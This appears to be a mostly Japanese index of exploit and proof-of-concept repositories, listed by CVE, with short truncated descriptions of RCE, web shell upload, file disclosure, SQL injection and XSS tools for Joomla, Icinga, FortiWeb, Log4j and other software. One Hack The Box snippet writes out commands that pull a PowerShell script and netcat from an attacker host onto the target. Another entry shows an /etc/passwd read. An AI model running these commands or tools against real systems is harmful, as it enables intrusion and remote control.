CVE-2025-3248

CVE-2025-3248 脆弱性悪用ツール ドキュメント 概要 本ツールは CVE-2025-3248 脆弱性（Pythonベースのコードインジェクション脆弱性）を利用し、悪意のあるペイロードを構築してターゲットサーバーでリモートコマンド実行（RCE）を実現するものです。本脆弱性はあるWebアプリケーションのAPIエンドポイントに存在し、攻撃者は未検証のコード実行ポイントを通じて任意のPythonコードを注入できます。 重要なお知らせ：...

checkmk_cve-2024-0670

checkmkcve-2024-0670 ┌──root㉿kali-/HTB/NanoCorp └─ python3 -m http.server 80 PS C:\windows\temp iwr http://10.10.16.10/zh.ps1 -outfile "c:\windows\temp\zh.ps1" PS C:\windows\temp iwr http://10.10.16.10/nc64.exe -outfile "c:\windows\temp\nc64.exe" PS C:\windows\temp iwr...

CVE-2026-94132

Joomla Extension - acymailing.com - Remote Code Execution vulnerability in mailbox action feature in AcyMailing Enterprise extension 11.1.0 - MIME parts of incoming emails were saved to media/comacym/upload/ with no extension check, so anyone who could email the monitored mailbox could write a PH...

CVE-2024-44871

MoziloCMS = 3.0.1 認証済みRCE 説明 このスクリプトは、MoziloCMS を実行している Web アプリケーションをテストするために設計されたエクスプロイトツールです。攻撃者は管理者ログインを使用して、jpg ファイル経由で PHP Web シェルをアップロードし、アップロードしたファイルを php にリネームし、その PHP ファイルを介して標的にシステムコマンドを送信できます。 ⚠️ 警告: このスクリプトは教育目的のみに使用してください。責任を持って使用し、システムをテストする前に適切な許可を取得してください。無断使用は違法であり、非倫理的です。 実行方法...

CVE-2022-24716

CVE-2022-24716 脆弱性のエクスプロイト: Icinga Web 2 2.8.6、2.9.6、2.10 における任意ファイル開示の脆弱性 https://www.sonarsource.com/blog/path-traversal-vulnerabilities-in-icinga-web/ ヘルプ: python3 exploit.py -h 使用例: python3 -u http://127.0.0.1:8080 -f /etc/passwd 免責事項:...

CVE-2024-24142

CVE-2024-24142: School-Task-Manager-System-SQL-Injection-2 概念実証PoC : https://github.com/BurakSevben/CVEs/blob/main/School-Task-Manager-System/CVE-2024-24142.md 概念実証PoC : https://github.com/BurakSevben/CVE-2024-24142/blob/main/CVE-2024-24142.md...

CVE-2024-22890

CVE-2024-22890: My e-Diary App - クロスサイトスクリプティング 概念実証PoC : https://github.com/BurakSevben/CVEs/blob/main/CVE-2024-22890.md 概念実証PoC : https://github.com/BurakSevben/CVE-2024-22890/blob/main/CVE-2024-22890.md...

CVE-2024-2054

CVE-2024-2054 Artica-Proxy 管理Webアプリケーションの安全でないデシリアライゼーション RCE ARTICA PROXY 管理Webアプリケーション CVE-2024-2054 のエクスプロイト概念実証 ブログ記事 詳細はこちら: https://blog.sonicwall.com/en-us/2024/03/unpatched-php-deserialization-vulnerability-in-artica-proxy/ 使用方法 $ python3 CVE-2024-2054.py Enter url: https://8X.XX.XX.X4:90...

log4shell-vulnweb

著作権 © 2023 Red Team 2 このWebはCVE-2021-44228に対して脆弱です...

Exploit-CVE-2024-26503

Open eClass RCE エクスプロイトツール このツールは、Open eClass プラットフォームにおける既知の脆弱性 CVE-2024-26503 を悪用するために設計されています。この脆弱性は、無制限のファイルアップロードの欠陥を介してリモートコード実行 RCE を可能にします。攻撃者はこの脆弱性を利用してサーバーにウェブシェルをアップロードし、任意のコマンドを実行できます。 免責事項...

JoomlaCVE20168869

Joomla 3.4.4 - 3.6.4 CVE-2016-8869 および CVE-2016-8870 のエクスプロイト、ファイルアップロードによるWebシェル これはPHP移植版です。元のPythonソースコードは以下で提供されています。 @link https://github.com/XiphosResearch/exploits/tree/master/Joomraa 使用方法: php exploit.php --username hacker -p password -e [email protected] http://localhost:9994/ 0.000...

CVE-2025-1304

🚨 WordPress NewsBlogger Theme = 0.2.5.1 - 任意ファイルアップロード CVE-2025-1304 CVSSスコア: 8.8 高 脆弱性タイプ: 任意ファイルアップロード コンポーネント: WordPressテーマ CVE ID: CVE-2025-1304 🔥 脆弱性の概要 NewsBlogger WordPressテーマ（バージョン = 0.2.5.1）には、管理画面のウェルカムパネルを介した任意ファイルアップロード の脆弱性が存在します。...

POC-CVE-2016-10033

POC-CVE-2016-10033 まず、脆弱なアプリケーションを起動してみましょう。 ステップ1: 以下のコマンドを実行して、Dockerリポジトリから脆弱なDockerイメージを取得します。 コマンド: docker pull vulnerables/cve-2016-10033 ステップ2: Docker DesktopでDockerイメージを実行し、ポート8080を公開します。 これで、Webブラウザで localhost:8080 の脆弱なWebサイトにアクセスできます。 方法1 : Webページ経由 ステップ1: フォームに以下の入力を記入します。 名前入力: OSEC...

CVE-2022-24715

CVE-2022-24715 Icinga Web 2 - 認証済みリモートコード実行 2.8.6, 2.9.6, 2.10 免責事項：このスクリプトは、システムのセキュリティを監査するために作成されたものです。このスクリプトは、自身が所有するシステム、またはエクスプロイトする書面による許可を得たシステムに対してのみ使用してください。...

fortinet-fortiweb-cve-2025-64446-58034

Fortinet FortiWebの脆弱性について CVE-2025-64446, CVE-2025-58034 1. 概要 Fortinet FortiWebは、Webアプリケーションファイアウォール（WAF）であり、 エンタープライズシステムで広く導入され、 Webアプリケーションを一般的な脅威から保護しています。 FortiWebは通常、保護の中核層に位置するため、 認証やOSコマンド実行に関する脆弱性は、 背後にあるインフラ全体に深刻な影響を及ぼす可能性があります。 2025年には、FortiWebにおいて2つの深刻な脆弱性が公表されました。 CVE-2025-64446 –...

l4s-vulnapp

Log4Shell 脆弱なアプリケーションl4s-vulnapp これは、log4shellCVE-2021-44228 の影響を受ける Log4j2.14.1 を含む、潜在的に脆弱な Java Web アプリケーションです。 検証済み環境と各種バージョン AdoptOpenJDK 17.0.10+7 Gradle 8.6 Gretty 4.1.2 Apache Tomcat 10.1.15 Apache Log4j Core 2.14.1 準備 AdoptOpenJDK のzipファイルをダウンロードして解凍します。 PATH と JAVAHOME 環境変数を設定します。...

aws__aws-sdk-java_CVE-2022-31159_1-12-2600

AWS SDK for Java AWS SDK for Java を使用すると、Java 開発者は Amazon Web Services を簡単に操作でき、Amazon S3、Amazon DynamoDB、Amazon Glacier などで拡張性の高いソリューションを構築できます。 開始方法については AWS SDK for Java 2.x を参照してください。 2024年7月31日時点でメンテナンスモード AWS SDK for Java 1.x はメンテナンスモードです。AWS SDK for Java 1.x...

CVE-2023-23752

Joomla! options 引数 url: 対象のJoomla!サイトのルートURL（ベースパス）。必要に応じてHTTPスキーム、ポート、ルートフォルダを含みます。 --debug: オプション。設定すると、スクリプトは取得したデータを含むデバッグ情報を出力します。 --no-color: オプション。設定すると、色付き出力を無効にし、さまざまな端末エミュレータとの互換性を向上させます。 例 python CVE-2023-23752.py https://example.com 特徴 ユーザー情報（ID、名前、ユーザー名、メール、グループ名）を取得して表示します。...

CRLF Injection

Overview froxlor/froxlor is a server administration software. Affected versions of this package are vulnerable to CRLF Injection in the validateUrl process. An attacker can inject arbitrary web-server configuration lines by supplying a crafted subdomain redirect URL containing carriage return and...

CVE-2026-94132

The AcyMailing Enterprise extension for Joomla (versions 1.0.0 – 11.0.5 ) contains a Remote Code Execution (RCE) vulnerability. The root cause is that the mailbox actions in POP3 mode save incoming MIME attachments to the media/com_acym/upload/ directory without performing extension checks. This ...